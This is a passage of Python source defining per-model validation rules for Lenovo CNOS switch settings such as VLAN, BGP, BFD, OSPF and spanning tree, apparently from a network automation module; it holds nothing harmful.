'spanning_tree_portpriority': 'TEXT_OPTIONS:0,32,64,96,128,160,\
192,224',
'portchannel_ipv6_neighbor_mac': 'TEXT:',
'portchannel_ipv6_neighbor_address': 'IPV6Address:',
'portchannel_ipv6_linklocal': 'IPV6Address:',
'portchannel_ipv6_dhcp_vlan': 'INTEGER_VALUE:1-4094',
'portchannel_ipv6_dhcp_ethernet': 'TEXT:',
'portchannel_ipv6_dhcp': 'IPV6Address:',
'portchannel_ipv6_address': 'IPV6Address:',
'portchannel_ipv6_options': 'TEXT_OPTIONS:address,dhcp,\
link-local,nd,neighbor',
'interface_speed': 'TEXT_OPTIONS:10000,100000,25000,40000,50000,auto',
'stormcontrol_options': 'TEXT_OPTIONS:broadcast,multicast,\
unicast',
'stormcontrol_level': 'FLOAT:',
'portchannel_dot1q_tag': 'TEXT_OPTIONS:disable,enable,\
egress-only',
'vrrp_id': 'INTEGER_VALUE:1-255',
}
g8272_cnos = {'vlan_id': 'INTEGER_VALUE:1-3999',
'vlan_id_range': 'INTEGER_VALUE_RANGE:1-3999',
'vlan_name': 'TEXT:',
'vlan_flood': 'TEXT_OPTIONS:ipv4,ipv6',
'vlan_state': 'TEXT_OPTIONS:active,suspend',
'vlan_last_member_query_interval': 'INTEGER_VALUE:1-25',
'vlan_querier': 'IPV4Address:',
'vlan_querier_timeout': 'INTEGER_VALUE:1-65535',
'vlan_query_interval': 'INTEGER_VALUE:1-18000',
'vlan_query_max_response_time': 'INTEGER_VALUE:1-25',
'vlan_report_suppression': 'INTEGER_VALUE:1-25',
'vlan_robustness_variable': 'INTEGER_VALUE:1-7',
'vlan_startup_query_count': 'INTEGER_VALUE:1-10',
'vlan_startup_query_interval': 'INTEGER_VALUE:1-18000',
'vlan_snooping_version': 'INTEGER_VALUE:2-3',
'vlan_access_map_name': 'TEXT: ',
'vlan_ethernet_interface': 'TEXT:',
'vlan_portagg_number': 'INTEGER_VALUE:1-4096',
'vlan_accessmap_action': 'TEXT_OPTIONS:drop,forward,redirect',
'vlan_dot1q_tag': 'MATCH_TEXT_OR_EMPTY:egress-only',
'vlan_filter_name': 'TEXT:',
'vlag_auto_recovery': 'INTEGER_VALUE:240-3600',
'vlag_config_consistency': 'TEXT_OPTIONS:disable,strict',
'vlag_instance': 'INTEGER_VALUE:1-64',
'vlag_port_aggregation': 'INTEGER_VALUE:1-4096',
'vlag_priority': 'INTEGER_VALUE:0-65535',
'vlag_startup_delay': 'INTEGER_VALUE:0-3600',
'vlag_tier_id': 'INTEGER_VALUE:1-512',
'vlag_hlthchk_options': 'TEXT_OPTIONS:keepalive-attempts,\
keepalive-interval,peer-ip,retry-interval',
'vlag_keepalive_attempts': 'INTEGER_VALUE:1-24',
'vlag_keepalive_interval': 'INTEGER_VALUE:2-300',
'vlag_retry_interval': 'INTEGER_VALUE:1-300',
'vlag_peerip': 'IPV4Address:',
'vlag_peerip_vrf': 'TEXT_OPTIONS:default,management',
'bgp_as_number': 'NO_VALIDATION:1-4294967295',
'bgp_address_family': 'TEXT_OPTIONS:ipv4,ipv6',
'bgp_bgp_local_count': 'INTEGER_VALUE:2-64',
'cluster_id_as_ip': 'IPV4Address:',
'cluster_id_as_number': 'NO_VALIDATION:1-4294967295',
'confederation_identifier': 'INTEGER_VALUE:1-65535',
'condeferation_peers_as': 'INTEGER_VALUE:1-65535',
'stalepath_delay_value': 'INTEGER_VALUE:1-3600',
'maxas_limit_as': 'INTEGER_VALUE:1-2000',
'neighbor_ipaddress': 'IPV4Address:',
'neighbor_as': 'NO_VALIDATION:1-4294967295',
'router_id': 'IPV4Address:',
'bgp_keepalive_interval': 'INTEGER_VALUE:0-3600',
'bgp_holdtime': 'INTEGER_VALUE:0-3600',
'bgp_aggregate_prefix': 'IPV4AddressWithMask:',
'addrfamily_routemap_name': 'TEXT:',
'reachability_half_life': 'INTEGER_VALUE:1-45',
'start_reuse_route_value': 'INTEGER_VALUE:1-20000',
'start_suppress_route_value': 'INTEGER_VALUE:1-20000',
'max_duration_to_suppress_route': 'INTEGER_VALUE:1-255',
'unreachability_halftime_for_penalty': 'INTEGER_VALUE:1-45',
'distance_external_AS': 'INTEGER_VALUE:1-255',
'distance_internal_AS': 'INTEGER_VALUE:1-255',
'distance_local_routes': 'INTEGER_VALUE:1-255',
'maxpath_option': 'TEXT_OPTIONS:ebgp,ibgp',
'maxpath_numbers': 'INTEGER_VALUE:2-32',
'network_ip_prefix_with_mask': 'IPV4AddressWithMask:',
'network_ip_prefix_value': 'IPV4Address:',
'network_ip_prefix_mask': 'IPV4Address:',
'nexthop_crtitical_delay': 'NO_VALIDATION:1-4294967295',
'nexthop_noncrtitical_delay': 'NO_VALIDATION:1-4294967295',
'addrfamily_redistribute_option': 'TEXT_OPTIONS:direct,ospf,\
static',
'bgp_neighbor_af_occurances': 'INTEGER_VALUE:1-10',
'bgp_neighbor_af_filtername': 'TEXT:',
'bgp_neighbor_af_maxprefix': 'INTEGER_VALUE:1-15870',
'bgp_neighbor_af_prefixname': 'TEXT:',
'bgp_neighbor_af_routemap': 'TEXT:',
'bgp_neighbor_address_family': 'TEXT_OPTIONS:ipv4,ipv6',
'bgp_neighbor_connection_retrytime': 'INTEGER_VALUE:1-65535',
'bgp_neighbor_description': 'TEXT:',
'bgp_neighbor_maxhopcount': 'INTEGER_VALUE:1-255',
'bgp_neighbor_local_as': 'NO_VALIDATION:1-4294967295',
'bgp_neighbor_maxpeers': 'INTEGER_VALUE:1-96',
'bgp_neighbor_password': 'TEXT:',
'bgp_neighbor_timers_Keepalive': 'INTEGER_VALUE:0-3600',
'bgp_neighbor_timers_holdtime': 'INTEGER_VALUE:0-3600',
'bgp_neighbor_ttl_hops': 'INTEGER_VALUE:1-254',
'bgp_neighbor_update_options': 'TEXT_OPTIONS:ethernet,loopback,\
vlan',
'bgp_neighbor_update_ethernet': 'TEXT:',
'bgp_neighbor_update_loopback': 'INTEGER_VALUE:0-7',
'bgp_neighbor_update_vlan': 'INTEGER_VALUE:1-4094',
'bgp_neighbor_weight': 'INTEGER_VALUE:0-65535',
'ethernet_interface_value': 'INTEGER_VALUE:1-54',
'ethernet_interface_range': 'INTEGER_VALUE_RANGE:1-54',
'ethernet_interface_string': 'TEXT:',
'loopback_interface_value': 'INTEGER_VALUE:0-7',
'mgmt_interface_value': 'INTEGER_VALUE:0-0',
'vlan_interface_value': 'INTEGER_VALUE:1-4094',
'portchannel_interface_value': 'INTEGER_VALUE:1-4096',
'portchannel_interface_range': 'INTEGER_VALUE_RANGE:1-4096',
'portchannel_interface_string': 'TEXT:',
'aggregation_group_no': 'INTEGER_VALUE:1-4096',
'aggregation_group_mode': 'TEXT_OPTIONS:active,on,passive',
'bfd_options': 'TEXT_OPTIONS:authentication,echo,interval,ipv4,\
ipv6,neighbor',
'bfd_interval': 'INTEGER_VALUE:50-999',
'bfd_minrx': 'INTEGER_VALUE:50-999',
'bfd_ multiplier': 'INTEGER_VALUE:3-50',
'bfd_ipv4_options': 'TEXT_OPTIONS:authentication,echo,interval',
'bfd_auth_options': 'TEXT_OPTIONS:keyed-md5,keyed-sha1,\
meticulous-keyed-md5,meticulous-keyed-sha1,simple',
'bfd_key_options': 'TEXT_OPTIONS:key-chain,key-id',
'bfd_key_chain': 'TEXT:',
'bfd_key_id': 'INTEGER_VALUE:0-255',
'bfd_key_name': 'TEXT:',
'bfd_neighbor_ip': 'TEXT:',
'bfd_neighbor_options': 'TEXT_OPTIONS:admin-down,multihop,\
non-persistent',
'bfd_access_vlan': 'INTEGER_VALUE:1-3999',
'bfd_bridgeport_mode': 'TEXT_OPTIONS:access,dot1q-tunnel,trunk',
'trunk_options': 'TEXT_OPTIONS:allowed,native',
'trunk_vlanid': 'INTEGER_VALUE:1-3999',
'portCh_description': 'TEXT:',
'duplex_option': 'TEXT_OPTIONS:auto,full,half',
'flowcontrol_options': 'TEXT_OPTIONS:receive,send',
'portchannel_ip_options': 'TEXT_OPTIONS:access-group,address,\
arp,dhcp,ospf,port,port-unreachable,redirects,router,\
unreachables',
'accessgroup_name': 'TEXT:',
'portchannel_ipv4': 'IPV4Address:',
'portchannel_ipv4_mask': 'TEXT:',
'arp_ipaddress': 'IPV4Address:',
'arp_macaddress': 'TEXT:',
'arp_timeout_value': 'INTEGER_VALUE:60-28800',
'relay_ipaddress': 'IPV4Address:',
'ip_ospf_options': 'TEXT_OPTIONS:authentication,\
authentication-key,bfd,cost,database-filter,dead-interval,\
hello-interval,message-digest-key,mtu,mtu-ignore,network,\
passive-interface,priority,retransmit-interval,shutdown,\
transmit-delay',
'ospf_id_decimal_value': 'NO_VALIDATION:1-4294967295',
'ospf_id_ipaddres_value': 'IPV4Address:',
'lacp_options': 'TEXT_OPTIONS:port-priority,suspend-individual,\
timeout',
'port_priority': 'INTEGER_VALUE:1-65535',
'lldp_options': 'TEXT_OPTIONS:receive,tlv-select,transmit,\
trap-notification',
'lldp_tlv_options': 'TEXT_OPTIONS:link-aggregation,\
mac-phy-status,management-address,max-frame-size,\
port-description,port-protocol-vlan,port-vlan,power-mdi,\
protocol-identity,system-capabilities,system-description,\
system-name,vid-management,vlan-name',
'load_interval_delay': 'INTEGER_VALUE:30-300',
'load_interval_counter': 'INTEGER_VALUE:1-3',
'mac_accessgroup_name': 'TEXT:',
'mac_address': 'TEXT:',
'microburst_threshold': 'NO_VALIDATION:1-4294967295',
'mtu_value': 'INTEGER_VALUE:64-9216',
'service_instance': 'NO_VALIDATION:1-4294967295',
'service_policy_options': 'TEXT_OPTIONS:copp-system-policy,input,\
output,type',
'service_policy_name': 'TEXT:',
'spanning_tree_options': 'TEXT_OPTIONS:bpdufilter,bpduguard,\
cost,disable,enable,guard,link-type,mst,port,port-priority,vlan',
'spanning_tree_cost': 'NO_VALIDATION:1-200000000',
'spanning_tree_interfacerange': 'INTEGER_VALUE_RANGE:1-3999',
'spanning_tree_portpriority': 'TEXT_OPTIONS:0,32,64,96,128,160,\
192,224',
'portchannel_ipv6_neighbor_mac': 'TEXT:',
'portchannel_ipv6_neighbor_address': 'IPV6Address:',
'portchannel_ipv6_linklocal': 'IPV6Address:',
'portchannel_ipv6_dhcp_vlan': 'INTEGER_VALUE:1-4094',
'portchannel_ipv6_dhcp_ethernet': 'TEXT:',
'portchannel_ipv6_dhcp': 'IPV6Address:',
'portchannel_ipv6_address': 'IPV6Address:',
'portchannel_ipv6_options': 'TEXT_OPTIONS:address,dhcp,\
link-local,nd,neighbor',
'interface_speed': 'TEXT_OPTIONS:1000,10000,40000',
'stormcontrol_options': 'TEXT_OPTIONS:broadcast,multicast,\
unicast',
'stormcontrol_level': 'FLOAT:',
'portchannel_dot1q_tag': 'TEXT_OPTIONS:disable,enable,\
egress-only',
'vrrp_id': 'INTEGER_VALUE:1-255',
}
g8296_cnos = {'vlan_id': 'INTEGER_VALUE:1-3999',
'vlan_id_range': 'INTEGER_VALUE_RANGE:1-3999',
'vlan_name': 'TEXT:',
'vlan_flood': 'TEXT_OPTIONS:ipv4,ipv6',
'vlan_state': 'TEXT_OPTIONS:active,suspend',
'vlan_last_member_query_interval': 'INTEGER_VALUE:1-25',
'vlan_querier': 'IPV4Address:',
'vlan_querier_timeout': 'INTEGER_VALUE:1-65535',
'vlan_query_interval': 'INTEGER_VALUE:1-18000',
'vlan_query_max_response_time': 'INTEGER_VALUE:1-25',
'vlan_report_suppression': 'INTEGER_VALUE:1-25',
'vlan_robustness_variable': 'INTEGER_VALUE:1-7',
'vlan_startup_query_count': 'INTEGER_VALUE:1-10',
'vlan_startup_query_interval': 'INTEGER_VALUE:1-18000',
'vlan_snooping_version': 'INTEGER_VALUE:2-3',
'vlan_access_map_name': 'TEXT: ',
'vlan_ethernet_interface': 'TEXT:',
'vlan_portagg_number': 'INTEGER_VALUE:1-4096',
'vlan_accessmap_action': 'TEXT_OPTIONS:drop,forward,redirect',
'vlan_dot1q_tag': 'MATCH_TEXT_OR_EMPTY:egress-only',
'vlan_filter_name': 'TEXT:',
'vlag_auto_recovery': 'INTEGER_VALUE:240-3600',
'vlag_config_consistency': 'TEXT_OPTIONS:disable,strict',
'vlag_instance': 'INTEGER_VALUE:1-128',
'vlag_port_aggregation': 'INTEGER_VALUE:1-4096',
'vlag_priority': 'INTEGER_VALUE:0-65535',
'vlag_startup_delay': 'INTEGER_VALUE:0-3600',
'vlag_tier_id': 'INTEGER_VALUE:1-512',
'vlag_hlthchk_options': 'TEXT_OPTIONS:keepalive-attempts,\
keepalive-interval,peer-ip,retry-interval',
'vlag_keepalive_attempts': 'INTEGER_VALUE:1-24',
'vlag_keepalive_interval': 'INTEGER_VALUE:2-300',
'vlag_retry_interval': 'INTEGER_VALUE:1-300',
'vlag_peerip': 'IPV4Address:',
'vlag_peerip_vrf': 'TEXT_OPTIONS:default,management',
'bgp_as_number': 'NO_VALIDATION:1-4294967295',
'bgp_address_family': 'TEXT_OPTIONS:ipv4,ipv6',
'bgp_bgp_local_count': 'INTEGER_VALUE:2-64',
'cluster_id_as_ip': 'IPV4Address:',
'cluster_id_as_number': 'NO_VALIDATION:1-4294967295',
'confederation_identifier': 'INTEGER_VALUE:1-65535',
'condeferation_peers_as': 'INTEGER_VALUE:1-65535',
'stalepath_delay_value': 'INTEGER_VALUE:1-3600',
'maxas_limit_as': 'INTEGER_VALUE:1-2000',
'neighbor_ipaddress': 'IPV4Address:',
'neighbor_as': 'NO_VALIDATION:1-4294967295',
'router_id': 'IPV4Address:',
'bgp_keepalive_interval': 'INTEGER_VALUE:0-3600',
'bgp_holdtime': 'INTEGER_VALUE:0-3600',
'bgp_aggregate_prefix': 'IPV4AddressWithMask:',
'addrfamily_routemap_name': 'TEXT:',
'reachability_half_life': 'INTEGER_VALUE:1-45',
'start_reuse_route_value': 'INTEGER_VALUE:1-20000',
'start_suppress_route_value': 'INTEGER_VALUE:1-20000',
'max_duration_to_suppress_route': 'INTEGER_VALUE:1-255',
'unreachability_halftime_for_penalty': 'INTEGER_VALUE:1-45',
'distance_external_AS': 'INTEGER_VALUE:1-255',
'distance_internal_AS': 'INTEGER_VALUE:1-255',
'distance_local_routes': 'INTEGER_VALUE:1-255',
'maxpath_option': 'TEXT_OPTIONS:ebgp,ibgp',
'maxpath_numbers': 'INTEGER_VALUE:2-32',
'network_ip_prefix_with_mask': 'IPV4AddressWithMask:',
'network_ip_prefix_value': 'IPV4Address:',
'network_ip_prefix_mask': 'IPV4Address:',
'nexthop_crtitical_delay': 'NO_VALIDATION:1-4294967295',
'nexthop_noncrtitical_delay': 'NO_VALIDATION:1-4294967295',
'addrfamily_redistribute_option': 'TEXT_OPTIONS:direct,ospf,\
static',
'bgp_neighbor_af_occurances': 'INTEGER_VALUE:1-10',
'bgp_neighbor_af_filtername': 'TEXT:',
'bgp_neighbor_af_maxprefix': 'INTEGER_VALUE:1-15870',
'bgp_neighbor_af_prefixname': 'TEXT:',
'bgp_neighbor_af_routemap': 'TEXT:',
'bgp_neighbor_address_family': 'TEXT_OPTIONS:ipv4,ipv6',
'bgp_neighbor_connection_retrytime': 'INTEGER_VALUE:1-65535',
'bgp_neighbor_description': 'TEXT:',
'bgp_neighbor_maxhopcount': 'INTEGER_VALUE:1-255',
'bgp_neighbor_local_as': 'NO_VALIDATION:1-4294967295',
'bgp_neighbor_maxpeers': 'INTEGER_VALUE:1-96',
'bgp_neighbor_password': 'TEXT:',
'bgp_neighbor_timers_Keepalive': 'INTEGER_VALUE:0-3600',
'bgp_neighbor_timers_holdtime': 'INTEGER_VALUE:0-3600',
'bgp_neighbor_ttl_hops': 'INTEGER_VALUE:1-254',
'bgp_neighbor_update_options': 'TEXT_OPTIONS:ethernet,loopback,\
vlan',
'bgp_neighbor_update_ethernet': 'TEXT:',
'bgp_neighbor_update_loopback': 'INTEGER_VALUE:0-7',
'bgp_neighbor_update_vlan': 'INTEGER_VALUE:1-4094',
'bgp_neighbor_weight': 'INTEGER_VALUE:0-65535',
'ethernet_interface_value': 'INTEGER_VALUE:1-96',
'ethernet_interface_range': 'INTEGER_VALUE_RANGE:1-96',
'ethernet_interface_string': 'TEXT:',
'loopback_interface_value': 'INTEGER_VALUE:0-7',
'mgmt_interface_value': 'INTEGER_VALUE:0-0',
'vlan_interface_value': 'INTEGER_VALUE:1-4094',
'portchannel_interface_value': 'INTEGER_VALUE:1-4096',
'portchannel_interface_range': 'INTEGER_VALUE_RANGE:1-4096',
'portchannel_interface_string': 'TEXT:',
'aggregation_group_no': 'INTEGER_VALUE:1-4096',
'aggregation_group_mode': 'TEXT_OPTIONS:active,on,passive',
'bfd_options': 'TEXT_OPTIONS:authentication,echo,interval,ipv4,\
ipv6,neighbor',
'bfd_interval': 'INTEGER_VALUE:50-999',
'bfd_minrx': 'INTEGER_VALUE:50-999',
'bfd_ multiplier': 'INTEGER_VALUE:3-50',
'bfd_ipv4_options': 'TEXT_OPTIONS:authentication,echo,interval',
'bfd_auth_options': 'TEXT_OPTIONS:keyed-md5,keyed-sha1,\
meticulous-keyed-md5,meticulous-keyed-sha1,simple',
'bfd_key_options': 'TEXT_OPTIONS:key-chain,key-id',
'bfd_key_chain': 'TEXT:',
'bfd_key_id': 'INTEGER_VALUE:0-255',
'bfd_key_name': 'TEXT:',
'bfd_neighbor_ip': 'TEXT:',
'bfd_neighbor_options': 'TEXT_OPTIONS:admin-down,multihop,\
non-persistent',
'bfd_access_vlan': 'INTEGER_VALUE:1-3999',
'bfd_bridgeport_mode': 'TEXT_OPTIONS:access,dot1q-tunnel,trunk',
'trunk_options': 'TEXT_OPTIONS:allowed,native',
'trunk_vlanid': 'INTEGER_VALUE:1-3999',
'portCh_description': 'TEXT:',
'duplex_option': 'TEXT_OPTIONS:auto,full,half',
'flowcontrol_options': 'TEXT_OPTIONS:receive,send',
'portchannel_ip_options': 'TEXT_OPTIONS:access-group,address,\
arp,dhcp,ospf,port,port-unreachable,redirects,router,\
unreachables',
'accessgroup_name': 'TEXT:',
'portchannel_ipv4': 'IPV4Address:',
'portchannel_ipv4_mask': 'TEXT:',
'arp_ipaddress': 'IPV4Address:',
'arp_macaddress': 'TEXT:',
'arp_timeout_value': 'INTEGER_VALUE:60-28800',
'relay_ipaddress': 'IPV4Address:',
'ip_ospf_options': 'TEXT_OPTIONS:authentication,\
authentication-key,bfd,cost,database-filter,dead-interval,\
hello-interval,message-digest-key,mtu,mtu-ignore,network,\
passive-interface,priority,retransmit-interval,shutdown,\
transmit-delay',
'ospf_id_decimal_value': 'NO_VALIDATION:1-4294967295',
'ospf_id_ipaddres_value': 'IPV4Address:',
'lacp_options': 'TEXT_OPTIONS:port-priority,suspend-individual,\
timeout',
'port_priority': 'INTEGER_VALUE:1-65535',
'lldp_options': 'TEXT_OPTIONS:receive,tlv-select,transmit,\
trap-notification',
'lldp_tlv_options': 'TEXT_OPTIONS:link-aggregation,\
mac-phy-status,management-address,max-frame-size,\
port-description,port-protocol-vlan,port-vlan,power-mdi,\
protocol-identity,system-capabilities,system-description,\
system-name,vid-management,vlan-name',
'load_interval_delay': 'INTEGER_VALUE:30-300',
'load_interval_counter': 'INTEGER_VALUE:1-3',
'mac_accessgroup_name': 'TEXT:',
'mac_address': 'TEXT:',
'microburst_threshold': 'NO_VALIDATION:1-4294967295',
'mtu_value': 'INTEGER_VALUE:64-9216',
'service_instance': 'NO_VALIDATION:1-4294967295',
'service_policy_options': 'TEXT_OPTIONS:copp-system-policy,\
input,output,type',
'service_policy_name': 'TEXT:',
'spanning_tree_options': 'TEXT_OPTIONS:bpdufilter,bpduguard,\
cost,disable,enable,guard,link-type,mst,port,port-priority,vlan',
'spanning_tree_cost': 'NO_VALIDATION:1-200000000',
'spanning_tree_interfacerange': 'INTEGER_VALUE_RANGE:1-3999',
'spanning_tree_portpriority': 'TEXT_OPTIONS:0,32,64,96,128,160,\
192,224',
'portchannel_ipv6_neighbor_mac': 'TEXT:',
'portchannel_ipv6_neighbor_address': 'IPV6Address:',
'portchannel_ipv6_linklocal': 'IPV6Address:',
'portchannel_ipv6_dhcp_vlan': 'INTEGER_VALUE:1-4094',
'portchannel_ipv6_dhcp_ethernet': 'TEXT:',
'portchannel_ipv6_dhcp': 'IPV6Address:',
'portchannel_ipv6_address': 'IPV6Address:',
'portchannel_ipv6_options': 'TEXT_OPTIONS:address,dhcp,\
link-local,nd,neighbor',
'interface_speed': 'TEXT_OPTIONS:1000,10000,40000,auto',
'stormcontrol_options': 'TEXT_OPTIONS:broadcast,multicast,\
unicast',
'stormcontrol_level': 'FLOAT:',
'portchannel_dot1q_tag': 'TEXT_OPTIONS:disable,enable,\
egress-only',
'vrrp_id': 'INTEGER_VALUE:1-255',
}
g8332_cnos = {'vlan_id': 'INTEGER_VALUE:1-3999',
'vlan_id_range': 'INTEGER_VALUE_RANGE:1-3999',
'vlan_name': 'TEXT:',
'vlan_flood': 'TEXT_OPTIONS:ipv4,ipv6',
'vlan_state': 'TEXT_OPTIONS:active,suspend',
'vlan_last_member_query_interval': 'INTEGER_VALUE:1-25',
'vlan_querier': 'IPV4Address:',
'vlan_querier_timeout': 'INTEGER_VALUE:1-65535',
'vlan_query_interval': 'INTEGER_VALUE:1-18000',
'vlan_query_max_response_time': 'INTEGER_VALUE:1-25',
'vlan_report_suppression': 'INTEGER_VALUE:1-25',
'vlan_robustness_variable': 'INTEGER_VALUE:1-7',
'vlan_startup_query_count': 'INTEGER_VALUE:1-10',
'vlan_startup_query_interval': 'INTEGER_VALUE:1-18000',
'vlan_snooping_version': 'INTEGER_VALUE:2-3',
'vlan_access_map_name': 'TEXT: ',
'vlan_ethernet_interface': 'TEXT:',
'vlan_portagg_number': 'INTEGER_VALUE:1-4096',
'vlan_accessmap_action': 'TEXT_OPTIONS:drop,forward,redirect',
'vlan_dot1q_tag': 'MATCH_TEXT_OR_EMPTY:egress-only',
'vlan_filter_name': 'TEXT:',
'vlag_auto_recovery': 'INTEGER_VALUE:240-3600',
'vlag_config_consistency': 'TEXT_OPTIONS:disable,strict',
'vlag_instance': 'INTEGER_VALUE:1-128',
'vlag_port_aggregation': 'INTEGER_VALUE:1-4096',
'vlag_priority': 'INTEGER_VALUE:0-65535',
'vlag_startup_delay': 'INTEGER_VALUE:0-3600',
'vlag_tier_id': 'INTEGER_VALUE:1-512',
'vlag_hlthchk_options': 'TEXT_OPTIONS:keepalive-attempts,\
keepalive-interval,peer-ip,retry-interval',
'vlag_keepalive_attempts': 'INTEGER_VALUE:1-24',
'vlag_keepalive_interval': 'INTEGER_VALUE:2-300',
'vlag_retry_interval': 'INTEGER_VALUE:1-300',
'vlag_peerip': 'IPV4Address:',
'vlag_peerip_vrf': 'TEXT_OPTIONS:default,management',
'bgp_as_number': 'NO_VALIDATION:1-4294967295',
'bgp_address_family': 'TEXT_OPTIONS:ipv4,ipv6',
'bgp_bgp_local_count': 'INTEGER_VALUE:2-64',
'cluster_id_as_ip': 'IPV4Address:',
'cluster_id_as_number': 'NO_VALIDATION:1-4294967295',
'confederation_identifier': 'INTEGER_VALUE:1-65535',
'condeferation_peers_as': 'INTEGER_VALUE:1-65535',
'stalepath_delay_value': 'INTEGER_VALUE:1-3600',
'maxas_limit_as': 'INTEGER_VALUE:1-2000',
'neighbor_ipaddress': 'IPV4Address:',
'neighbor_as': 'NO_VALIDATION:1-4294967295',
'router_id': 'IPV4Address:',
'bgp_keepalive_interval': 'INTEGER_VALUE:0-3600',
'bgp_holdtime': 'INTEGER_VALUE:0-3600',
'bgp_aggregate_prefix': 'IPV4AddressWithMask:',
'addrfamily_routemap_name': 'TEXT:',
'reachability_half_life': 'INTEGER_VALUE:1-45',
'start_reuse_route_value': 'INTEGER_VALUE:1-20000',
'start_suppress_route_value': 'INTEGER_VALUE:1-20000',
'max_duration_to_suppress_route': 'INTEGER_VALUE:1-255',
'unreachability_halftime_for_penalty': 'INTEGER_VALUE:1-45',
'distance_external_AS': 'INTEGER_VALUE:1-255',
'distance_internal_AS': 'INTEGER_VALUE:1-255',
'distance_local_routes': 'INTEGER_VALUE:1-255',
'maxpath_option': 'TEXT_OPTIONS:ebgp,ibgp',
'maxpath_numbers': 'INTEGER_VALUE:2-32',
'network_ip_prefix_with_mask': 'IPV4AddressWithMask:',
'network_ip_prefix_value': 'IPV4Address:',
'network_ip_prefix_mask': 'IPV4Address:',
'nexthop_crtitical_delay': 'NO_VALIDATION:1-4294967295',
'nexthop_noncrtitical_delay': 'NO_VALIDATION:1-4294967295',
'addrfamily_redistribute_option': 'TEXT_OPTIONS:direct,ospf,\
static',
'bgp_neighbor_af_occurances': 'INTEGER_VALUE:1-10',
'bgp_neighbor_af_filtername': 'TEXT:',
'bgp_neighbor_af_maxprefix': 'INTEGER_VALUE:1-15870',
'bgp_neighbor_af_prefixname': 'TEXT:',
'bgp_neighbor_af_routemap': 'TEXT:',
'bgp_neighbor_address_family': 'TEXT_OPTIONS:ipv4,ipv6',
'bgp_neighbor_connection_retrytime': 'INTEGER_VALUE:1-65535',
'bgp_neighbor_description': 'TEXT:',
'bgp_neighbor_maxhopcount': 'INTEGER_VALUE:1-255',
'bgp_neighbor_local_as': 'NO_VALIDATION:1-4294967295',
'bgp_neighbor_maxpeers': 'INTEGER_VALUE:1-96',
'bgp_neighbor_password': 'TEXT:',
'bgp_neighbor_timers_Keepalive': 'INTEGER_VALUE:0-3600',
'bgp_neighbor_timers_holdtime': 'INTEGER_VALUE:0-3600',
'bgp_neighbor_ttl_hops': 'INTEGER_VALUE:1-254',
'bgp_neighbor_update_options': 'TEXT_OPTIONS:ethernet,loopback,\
vlan',
'bgp_neighbor_update_ethernet': 'TEXT:',
'bgp_neighbor_update_loopback': 'INTEGER_VALUE:0-7',
'bgp_neighbor_update_vlan': 'INTEGER_VALUE:1-4094',
'bgp_neighbor_weight': 'INTEGER_VALUE:0-65535',
'ethernet_interface_value': 'INTEGER_VALUE:1-32',
'ethernet_interface_range': 'INTEGER_VALUE_RANGE:1-32',
'ethernet_interface_string': 'TEXT:',
'loopback_interface_value': 'INTEGER_VALUE:0-7',
'mgmt_interface_value': 'INTEGER_VALUE:0-0',
'vlan_interface_value': 'INTEGER_VALUE:1-4094',
'portchannel_interface_value': 'INTEGER_VALUE:1-4096',
'portchannel_interface_range': 'INTEGER_VALUE_RANGE:1-4096',
'portchannel_interface_string': 'TEXT:',
'aggregation_group_no': 'INTEGER_VALUE:1-4096',
'aggregation_group_mode': 'TEXT_OPTIONS:active,on,passive',
'bfd_options': 'TEXT_OPTIONS:authentication,echo,interval,ipv4,\
ipv6,neighbor',
'bfd_interval': 'INTEGER_VALUE:50-999',
'bfd_minrx': 'INTEGER_VALUE:50-999',
'bfd_ multiplier': 'INTEGER_VALUE:3-50',
'bfd_ipv4_options': 'TEXT_OPTIONS:authentication,echo,interval',
'bfd_auth_options': 'TEXT_OPTIONS:keyed-md5,keyed-sha1,\
meticulous-keyed-md5,meticulous-keyed-sha1,simple',
'bfd_key_options': 'TEXT_OPTIONS:key-chain,key-id',
'bfd_key_chain': 'TEXT:',
'bfd_key_id': 'INTEGER_VALUE:0-255',
'bfd_key_name': 'TEXT:',
'bfd_neighbor_ip': 'TEXT:',
'bfd_neighbor_options': 'TEXT_OPTIONS:admin-down,multihop,\
non-persistent',
'bfd_access_vlan': 'INTEGER_VALUE:1-3999',
'bfd_bridgeport_mode': 'TEXT_OPTIONS:access,dot1q-tunnel,trunk',
'trunk_options': 'TEXT_OPTIONS:allowed,native',
'trunk_vlanid': 'INTEGER_VALUE:1-3999',
'portCh_description': 'TEXT:',
'duplex_option': 'TEXT_OPTIONS:auto,full,half',
'flowcontrol_options': 'TEXT_OPTIONS:receive,send',
'portchannel_ip_options': 'TEXT_OPTIONS:access-group,address,arp,\
dhcp,ospf,port,port-unreachable,redirects,router,unreachables',
'accessgroup_name': 'TEXT:',
'portchannel_ipv4': 'IPV4Address:',
'portchannel_ipv4_mask': 'TEXT:',
'arp_ipaddress': 'IPV4Address:',
'arp_macaddress': 'TEXT:',
'arp_timeout_value': 'INTEGER_VALUE:60-28800',
'relay_ipaddress': 'IPV4Address:',
'ip_ospf_options': 'TEXT_OPTIONS:authentication,\
authentication-key,bfd,cost,database-filter,dead-interval,\
hello-interval,message-digest-key,mtu,mtu-ignore,network,\
passive-interface,priority,retransmit-interval,shutdown,\
transmit-delay',
'ospf_id_decimal_value': 'NO_VALIDATION:1-4294967295',
'ospf_id_ipaddres_value': 'IPV4Address:',
'lacp_options': 'TEXT_OPTIONS:port-priority,suspend-individual,\
timeout',
'port_priority': 'INTEGER_VALUE:1-65535',
'lldp_options': 'TEXT_OPTIONS:receive,tlv-select,transmit,\
trap-notification',
'lldp_tlv_options': 'TEXT_OPTIONS:link-aggregation,\
mac-phy-status,management-address,max-frame-size,\
port-description,port-protocol-vlan,port-vlan,power-mdi,\
protocol-identity,system-capabilities,system-description,\
system-name,vid-management,vlan-name',
'load_interval_delay': 'INTEGER_VALUE:30-300',
'load_interval_counter': 'INTEGER_VALUE:1-3',
'mac_accessgroup_name': 'TEXT:',
'mac_address': 'TEXT:',
'microburst_threshold': 'NO_VALIDATION:1-4294967295',
'mtu_value': 'INTEGER_VALUE:64-9216',
'service_instance': 'NO_VALIDATION:1-4294967295',
'service_policy_options': 'TEXT_OPTIONS:copp-system-policy,\
input,output,type',
'service_policy_name': 'TEXT:',
'spanning_tree_options': 'TEXT_OPTIONS:bpdufilter,bpduguard,\
cost,disable,enable,guard,link-type,mst,port,port-priority,vlan',
'spanning_tree_cost': 'NO_VALIDATION:1-200000000',
'spanning_tree_interfacerange': 'INTEGER_VALUE_RANGE:1-3999',
'spanning_tree_portpriority': 'TEXT_OPTIONS:0,32,64,96,128,160,\
192,224',
'portchannel_ipv6_neighbor_mac': 'TEXT:',
